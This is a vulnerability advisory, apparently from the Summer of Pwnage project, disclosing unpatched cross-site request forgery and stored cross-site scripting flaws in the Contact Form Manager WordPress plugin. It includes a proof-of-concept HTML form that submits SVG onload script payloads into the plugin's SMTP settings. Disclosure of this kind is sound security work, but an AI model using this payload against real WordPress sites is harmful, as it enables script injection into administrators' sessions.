WordPress Contact Form Manager CSRF / XSS
Posted on 03 March 2017
------------------------------------------------------------------------ Cross-Site Request Forgery & Cross-Site Scripting in Contact Form Manager WordPress Plugin ------------------------------------------------------------------------ Edwin Molenaar, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that Contact Form Manager does not protect against Cross-Site Request Forgery. This allows an attacker to change arbitrary Contact Form Manager settings. In addtion, the plugin also fails to apply proper output encoding, rendering it vulnerable to stored Cross-Site Scripting. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160718-0003 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ These issues were successfully tested on Contact Form Manager WordPress Plugin version ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery___cross_site_scripting_in_contact_form_manager_wordpress_plugin.html These issues exists, because the plugin lacks an anti-CSRF token. Also improper filtering/output encoding is done on $_POST parameters. These issues are present in the filed contact-form-manager/admin/add_smtp.php and contact-form-manager/admin/form-edit.php. The username input field on the XYZ Contact > SMTP Settings is vulnerable for Cross-Site Scripting, as wel as the Contact Form Name input field on the XYZ Contact > Contact Form page. SMTP Settings URL: http://<target>/wp-admin/admin.php?page=contact-form-manager-manage-smtp Contact Forms URL: http://<target>/wp-admin/admin.php?page=contact-form-manager-managecontactformsp Proof of concept <html> <body> <form id="f1" method="POST" action="http://<target>/wp-admin/admin.php?page=contact-form-manager-manage-smtp&action=add-smtp"> <table> <tr><td>xyz_cfm_SmtpAuthentication<td><input name="xyz_cfm_SmtpAuthentication" value="true" size="100"></tr> <tr><td>xyz_cfm_SmtpEmailAddress<td><input name="xyz_cfm_SmtpEmailAddress" value="<svg onload=alert(document.domain)>" size="100"></tr> <tr><td>xyz_cfm_SmtpHostName<td><input name="xyz_cfm_SmtpHostName" value="<svg onload=alert(document.domain)>" size="100"></tr> <tr><td>xyz_cfm_SmtpPassword<td><input name="xyz_cfm_SmtpPassword" value="<svg onload=alert(document.domain)>" size="100"></tr> <tr><td>xyz_cfm_SmtpPortNumber<td><input name="xyz_cfm_SmtpPortNumber" value="25" size="100"></tr> <tr><td>xyz_cfm_SmtpSecuirity<td><input name="xyz_cfm_SmtpSecuirity" value="notls" size="100"></tr> </table> </form> <button onclick="document.getElementById('f1').submit()">Submit</button> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
